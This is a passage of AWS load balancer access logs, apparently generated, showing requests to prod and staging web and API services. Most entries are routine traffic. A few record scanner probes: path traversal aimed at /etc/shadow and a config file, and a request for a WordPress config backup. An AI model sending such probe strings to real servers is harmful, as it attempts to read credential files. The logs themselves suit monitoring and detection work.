"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d033-0c5bb0ee25734b3fa22a421c" "staging-alb.example.com" "-" 8 2024-11-01T01:45:07.928623Z "forward" "-" "-" "124.48.59.175:8080" "200" "-" "-" +https 2024-11-01T01:45:08.271170Z prod-web-alb 193.27.228.24:11785 10.0.210.145:443 0.047209 0.015562 0.059091 403 403 826 1569 "GET /images/../../../../etc/shadow HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d034-b9ee40e6757a44b7af21ce3f" "-" "-" 4 2024-11-01T01:45:08.271170Z "forward" "-" "-" "10.0.210.145:443" "403" "-" "-" +https 2024-11-01T01:45:09.337884Z staging-alb 45.155.205.185:55752 14.222.160.58:443 0.128317 0.254094 0.145885 404 404 419 9331 "GET /images/../../../../etc/shadow HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d035-6a3c5cf61e9648f083d73f0f" "-" "-" 10 2024-11-01T01:45:09.337884Z "forward" "-" "-" "14.222.160.58:443" "404" "-" "-" +https 2024-11-01T01:45:09.828194Z prod-web-alb 248.143.252.230:10827 10.0.223.142:443 0.046043 0.384565 0.017356 301 301 5 5872 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d035-4aa6923633154bc1903a7426" "prod-web-alb.example.com" "-" 9 2024-11-01T01:45:09.828194Z "forward" "-" "-" "10.0.223.142:443" "301" "-" "-" +http 2024-11-01T01:45:11.579702Z staging-alb 143.145.0.144:35148 87.31.87.122:80 0.068000 0.274541 0.042899 200 200 938 7732 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d037-d08d154a3b594d9f8ba1624b" "staging-alb.example.com" "-" 9 2024-11-01T01:45:11.579702Z "forward" "-" "-" "87.31.87.122:80" "200" "-" "-" +https 2024-11-01T01:45:12.285752Z prod-api-alb 247.54.42.22:15634 10.0.80.163:443 0.006926 0.400188 0.053775 200 200 829 9582 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d038-b018773aaf6a4b6e86cf28f4" "prod-api-alb.example.com" "-" 3 2024-11-01T01:45:12.285752Z "forward" "-" "-" "10.0.80.163:443" "200" "-" "-" +http 2024-11-01T01:45:13.369987Z staging-alb 186.20.183.205:14149 232.148.193.69:80 0.102514 0.483025 0.059378 301 301 282 6848 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d039-b4652f9d7dc944babf585cbe" "staging-alb.example.com" "-" 6 2024-11-01T01:45:13.369987Z "forward" "-" "-" "232.148.193.69:80" "301" "-" "-" +http 2024-11-01T01:45:13.904559Z staging-alb 1.56.254.127:48993 67.214.177.164:80 0.053857 0.086159 0.054665 200 200 190 4326 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d039-2544c6d9b6354d1ca85b9fa3" "staging-alb.example.com" "-" 8 2024-11-01T01:45:13.904559Z "forward" "-" "-" "67.214.177.164:80" "200" "-" "-" +https 2024-11-01T01:45:15.290590Z prod-api-alb 232.131.244.236:30790 10.0.173.107:443 0.086788 0.017493 0.043603 302 302 772 9983 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d03b-def7e978056a42928ca6611f" "prod-api-alb.example.com" "-" 3 2024-11-01T01:45:15.290590Z "forward" "-" "-" "10.0.173.107:443" "302" "-" "-" +https 2024-11-01T01:45:15.751529Z prod-web-alb 3.31.194.133:47516 10.0.125.255:443 0.070538 0.193681 0.030752 404 404 273 9709 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d03b-53c34fc046054d529f3ddbf1" "prod-web-alb.example.com" "-" 3 2024-11-01T01:45:15.751529Z "forward" "-" "-" "10.0.125.255:443" "404" "-" "-" +https 2024-11-01T01:45:16.415556Z staging-alb 69.209.204.29:42339 20.158.23.32:443 0.116612 0.154973 0.092073 302 302 439 13213 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d03c-02035534b3e34ef9a6e1765a" "staging-alb.example.com" "-" 8 2024-11-01T01:45:16.415556Z "forward" "-" "-" "20.158.23.32:443" "302" "-" "-" +https 2024-11-01T01:45:17.676671Z prod-web-alb 48.236.136.225:46866 10.0.221.174:443 0.039611 0.275029 0.038784 200 200 139 1302 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d03d-d26240e580714dd1adda5ec5" "prod-web-alb.example.com" "-" 8 2024-11-01T01:45:17.676671Z "forward" "-" "-" "10.0.221.174:443" "200" "-" "-" +https 2024-11-01T01:45:19.323046Z prod-web-alb 169.31.3.255:25255 10.0.214.247:443 0.000784 0.197519 0.064586 200 200 917 3808 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d03f-5655f51574984ce79e6e71c0" "prod-web-alb.example.com" "-" 7 2024-11-01T01:45:19.323046Z "forward" "-" "-" "10.0.214.247:443" "200" "-" "-" +http 2024-11-01T01:45:20.058858Z staging-alb 6.142.249.115:63863 15.150.207.21:8080 0.051408 0.474911 0.141340 404 404 374 6834 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d040-39866e5c3a424172b5c0e9ad" "staging-alb.example.com" "-" 10 2024-11-01T01:45:20.058858Z "forward" "-" "-" "15.150.207.21:8080" "404" "-" "-" +https 2024-11-01T01:45:21.211918Z prod-api-alb 128.127.179.174:37487 10.0.168.91:443 0.031406 0.184840 0.036824 200 200 75 12452 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d041-7a3bfa70a71e40eca22c1a09" "prod-api-alb.example.com" "-" 9 2024-11-01T01:45:21.211918Z "forward" "-" "-" "10.0.168.91:443" "200" "-" "-" +http 2024-11-01T01:45:21.696990Z staging-alb 24.213.54.45:11686 180.95.82.192:443 0.035335 0.036434 0.131652 200 200 171 14939 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d041-0481e34de9d34302916e23ec" "staging-alb.example.com" "-" 5 2024-11-01T01:45:21.696990Z "forward" "-" "-" "180.95.82.192:443" "200" "-" "-" +https 2024-11-01T01:45:21.999633Z staging-alb 201.69.156.109:60197 176.149.192.106:8080 0.040385 0.321700 0.084094 200 200 642 12297 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d041-3c52e44fba434df88ee2baae" "staging-alb.example.com" "-" 8 2024-11-01T01:45:21.999633Z "forward" "-" "-" "176.149.192.106:8080" "200" "-" "-" +https 2024-11-01T01:45:22.611593Z prod-api-alb 185.181.166.125:17419 10.0.228.207:443 0.020769 0.367278 0.044274 401 401 945 1284 "POST /wp-config.php.bak HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d042-f51ef154e2114ecd809ba388" "-" "-" 6 2024-11-01T01:45:22.611593Z "forward" "-" "-" "10.0.228.207:443" "401" "-" "-" +https 2024-11-01T01:45:23.318004Z prod-api-alb 57.121.102.85:53922 10.0.185.52:443 0.015396 0.097990 0.041064 404 404 995 13750 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d043-198aa9972f2e4f69a59e7f25" "prod-api-alb.example.com" "-" 9 2024-11-01T01:45:23.318004Z "forward" "-" "-" "10.0.185.52:443" "404" "-" "-" +http 2024-11-01T01:45:23.664701Z staging-alb 116.158.118.161:48041 221.5.160.23:80 0.091099 0.547377 0.094165 302 302 451 689 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d043-d9a62e9c5d214e30bd01cf77" "staging-alb.example.com" "-" 8 2024-11-01T01:45:23.664701Z "forward" "-" "-" "221.5.160.23:80" "302" "-" "-" +https 2024-11-01T01:45:24.204973Z staging-alb 231.98.149.92:51009 101.144.69.54:8080 0.121501 0.400967 0.114034 200 200 745 12213 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d044-df11697d240e4278a948dc6c" "staging-alb.example.com" "-" 4 2024-11-01T01:45:24.204973Z "forward" "-" "-" "101.144.69.54:8080" "200" "-" "-" +https 2024-11-01T01:45:24.814692Z prod-api-alb 183.107.145.158:41462 10.0.80.9:443 0.010250 0.496893 0.085587 200 200 424 5505 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d044-38290eebf0584b3e80c70c40" "prod-api-alb.example.com" "-" 1 2024-11-01T01:45:24.814692Z "forward" "-" "-" "10.0.80.9:443" "200" "-" "-" +https 2024-11-01T01:45:25.997181Z staging-alb 54.31.167.155:24636 225.112.142.150:8080 0.044987 0.464204 0.055319 200 200 277 3153 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d045-9f8a39bb51474207adb9b589" "staging-alb.example.com" "-" 2 2024-11-01T01:45:25.997181Z "forward" "-" "-" "225.112.142.150:8080" "200" "-" "-" +http 2024-11-01T01:45:27.666496Z staging-alb 45.155.205.157:60121 67.253.251.89:8080 0.064866 0.441902 0.046363 404 404 904 11347 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d047-e303ce8523f74ffeb6392936" "-" "-" 6 2024-11-01T01:45:27.666496Z "forward" "-" "-" "67.253.251.89:8080" "404" "-" "-" +http 2024-11-01T01:45:28.487655Z staging-alb 33.80.153.47:46506 117.232.223.204:8080 0.005929 0.454708 0.139951 200 200 288 963 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d048-422c06936a26400390ac0313" "staging-alb.example.com" "-" 9 2024-11-01T01:45:28.487655Z "forward" "-" "-" "117.232.223.204:8080" "200" "-" "-" +https 2024-11-01T01:45:28.881015Z staging-alb 26.54.202.193:43496 141.195.69.108:443 0.115487 0.234313 0.031296 404 404 665 7569 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d048-34e489cd0eaf449082e513ee" "staging-alb.example.com" "-" 10 2024-11-01T01:45:28.881015Z "forward" "-" "-" "141.195.69.108:443" "404" "-" "-" +https 2024-11-01T01:45:30.504082Z prod-api-alb 103.58.179.232:36167 10.0.101.245:443 0.099883 0.022469 0.004987 200 200 18 14041 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d04a-bb95d14947fb485a9c5e32ed" "prod-api-alb.example.com" "-" 3 2024-11-01T01:45:30.504082Z "forward" "-" "-" "10.0.101.245:443" "200" "-" "-" +https 2024-11-01T01:45:32.457889Z prod-web-alb 63.1.179.127:13396 10.0.94.90:443 0.008520 0.394171 0.096136 200 200 676 12222 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d04c-153a7df3c35f44a8a56e2beb" "prod-web-alb.example.com" "-" 2 2024-11-01T01:45:32.457889Z "forward" "-" "-" "10.0.94.90:443" "200" "-" "-" +https 2024-11-01T01:45:34.077020Z prod-web-alb 186.254.77.66:57635 10.0.173.126:443 0.027905 0.338159 0.000846 404 404 895 12178 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d04e-062af9a72d50449b847f2bab" "prod-web-alb.example.com" "-" 5 2024-11-01T01:45:34.077020Z "forward" "-" "-" "10.0.173.126:443" "404" "-" "-" +https 2024-11-01T01:45:35.444910Z prod-api-alb 247.182.193.241:21719 10.0.34.205:443 0.013970 0.447757 0.038827 404 404 854 3783 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d04f-60dff6e210f347a1a1723ebd" "prod-api-alb.example.com" "-" 3 2024-11-01T01:45:35.444910Z "forward" "-" "-" "10.0.34.205:443" "404" "-" "-" +http 2024-11-01T01:45:36.561185Z staging-alb 172.134.99.14:23130 231.57.71.194:443 0.042198 0.489070 0.079474 200 200 20 381 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d050-9054d018826c4cb7b0f573f5" "staging-alb.example.com" "-" 1 2024-11-01T01:45:36.561185Z "forward" "-" "-" "231.57.71.194:443" "200" "-" "-" +https 2024-11-01T01:45:38.125370Z prod-api-alb 241.19.177.52:43155 10.0.147.174:443 0.005094 0.178811 0.061830 404 404 42 455 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d052-ea6033303ed1468f9960d61e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:45:38.125370Z "forward" "-" "-" "10.0.147.174:443" "404" "-" "-" +https 2024-11-01T01:45:39.569326Z prod-api-alb 47.30.52.103:29592 10.0.83.31:443 0.086626 0.383288 0.015218 200 200 452 3401 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d053-e87332624715459eb709f24e" "prod-api-alb.example.com" "-" 10 2024-11-01T01:45:39.569326Z "forward" "-" "-" "10.0.83.31:443" "200" "-" "-" +https 2024-11-01T01:45:39.686162Z prod-web-alb 137.178.66.227:10655 10.0.80.172:443 0.049783 0.019960 0.002527 404 404 702 10228 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d053-8609176bd0fd4c47b50ebe09" "prod-web-alb.example.com" "-" 0 2024-11-01T01:45:39.686162Z "forward" "-" "-" "10.0.80.172:443" "404" "-" "-" +https 2024-11-01T01:45:41.160841Z staging-alb 255.41.250.231:52978 132.186.13.235:443 0.061454 0.008176 0.087694 200 200 125 3824 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d055-dc97e6437d3a48f5ab48f81c" "staging-alb.example.com" "-" 6 2024-11-01T01:45:41.160841Z "forward" "-" "-" "132.186.13.235:443" "200" "-" "-" +https 2024-11-01T01:45:41.853244Z prod-api-alb 71.160.229.159:19699 10.0.173.110:443 0.006962 0.187164 0.022791 200 200 913 3066 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d055-db62f85dc055445489660457" "prod-api-alb.example.com" "-" 5 2024-11-01T01:45:41.853244Z "forward" "-" "-" "10.0.173.110:443" "200" "-" "-" +https 2024-11-01T01:45:43.852077Z staging-alb 191.147.76.116:53651 114.190.196.225:8080 0.026325 0.558100 0.123098 200 200 723 1798 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d057-1c5a47809ecd410f8a680135" "staging-alb.example.com" "-" 3 2024-11-01T01:45:43.852077Z "forward" "-" "-" "114.190.196.225:8080" "200" "-" "-" +https 2024-11-01T01:45:45.110058Z prod-api-alb 167.142.189.243:57454 10.0.175.179:443 0.033333 0.103079 0.025476 301 301 281 8883 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d059-4735118db0084f1d89197971" "prod-api-alb.example.com" "-" 8 2024-11-01T01:45:45.110058Z "forward" "-" "-" "10.0.175.179:443" "301" "-" "-" +https 2024-11-01T01:45:45.416892Z prod-web-alb 232.157.99.130:35461 10.0.216.113:443 0.050429 0.326029 0.065589 301 301 830 13820 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d059-bb8962d6b248410bb01494e1" "prod-web-alb.example.com" "-" 2 2024-11-01T01:45:45.416892Z "forward" "-" "-" "10.0.216.113:443" "301" "-" "-" +https 2024-11-01T01:45:45.789164Z prod-web-alb 120.241.56.221:41409 10.0.199.138:443 0.012163 0.316621 0.080041 302 302 143 3418 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d059-64861b2584724d46a7199520" "prod-web-alb.example.com" "-" 8 2024-11-01T01:45:45.789164Z "forward" "-" "-" "10.0.199.138:443" "302" "-" "-" +https 2024-11-01T01:45:46.627199Z prod-web-alb 63.27.192.49:24103 10.0.41.23:443 0.056286 0.438955 0.029106 404 404 730 6441 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d05a-4160dea9b26b441f9841bcef" "prod-web-alb.example.com" "-" 7 2024-11-01T01:45:46.627199Z "forward" "-" "-" "10.0.41.23:443" "404" "-" "-" +http 2024-11-01T01:45:47.071621Z staging-alb 219.73.167.249:61456 75.103.243.16:80 0.047939 0.382829 0.053042 200 200 425 4919 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d05b-9471d08dcaed4e1d907926fa" "staging-alb.example.com" "-" 5 2024-11-01T01:45:47.071621Z "forward" "-" "-" "75.103.243.16:80" "200" "-" "-" +https 2024-11-01T01:45:47.477428Z prod-api-alb 28.64.99.172:51716 10.0.231.142:443 0.074057 0.258889 0.082154 404 404 705 12796 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d05b-70bf32ad7685476fa315ddec" "prod-api-alb.example.com" "-" 7 2024-11-01T01:45:47.477428Z "forward" "-" "-" "10.0.231.142:443" "404" "-" "-" +https 2024-11-01T01:45:48.226339Z prod-web-alb 178.70.6.233:10581 10.0.144.127:443 0.096128 0.301607 0.022896 404 404 989 4955 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d05c-78402be1c2bc44f5874a0370" "prod-web-alb.example.com" "-" 3 2024-11-01T01:45:48.226339Z "forward" "-" "-" "10.0.144.127:443" "404" "-" "-" +https 2024-11-01T01:45:50.037288Z staging-alb 5.34.74.220:59207 164.220.14.178:8080 0.048080 0.073840 0.091537 200 200 764 5495 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d05e-1ed04aa3c2954ca6adb4994f" "staging-alb.example.com" "-" 7 2024-11-01T01:45:50.037288Z "forward" "-" "-" "164.220.14.178:8080" "200" "-" "-" +http 2024-11-01T01:45:50.249138Z staging-alb 191.161.254.0:19986 201.239.194.243:443 0.068418 0.295101 0.109043 302 302 827 12704 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d05e-968b491f45d646728bb7b77e" "staging-alb.example.com" "-" 9 2024-11-01T01:45:50.249138Z "forward" "-" "-" "201.239.194.243:443" "302" "-" "-" +https 2024-11-01T01:45:50.977700Z prod-api-alb 7.21.176.1:21143 10.0.156.32:443 0.067780 0.323147 0.017236 200 200 321 4850 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d05e-710d36a95a1a4f47b7939727" "prod-api-alb.example.com" "-" 0 2024-11-01T01:45:50.977700Z "forward" "-" "-" "10.0.156.32:443" "200" "-" "-" +http 2024-11-01T01:45:51.888655Z staging-alb 252.249.210.197:25673 199.135.14.76:80 0.016696 0.281982 0.137899 200 200 239 8435 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d05f-64bb7d4783704a308c03670e" "staging-alb.example.com" "-" 6 2024-11-01T01:45:51.888655Z "forward" "-" "-" "199.135.14.76:80" "200" "-" "-" +https 2024-11-01T01:45:52.019643Z prod-web-alb 52.184.140.102:40876 10.0.32.187:443 0.072758 0.307185 0.097331 200 200 47 3875 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 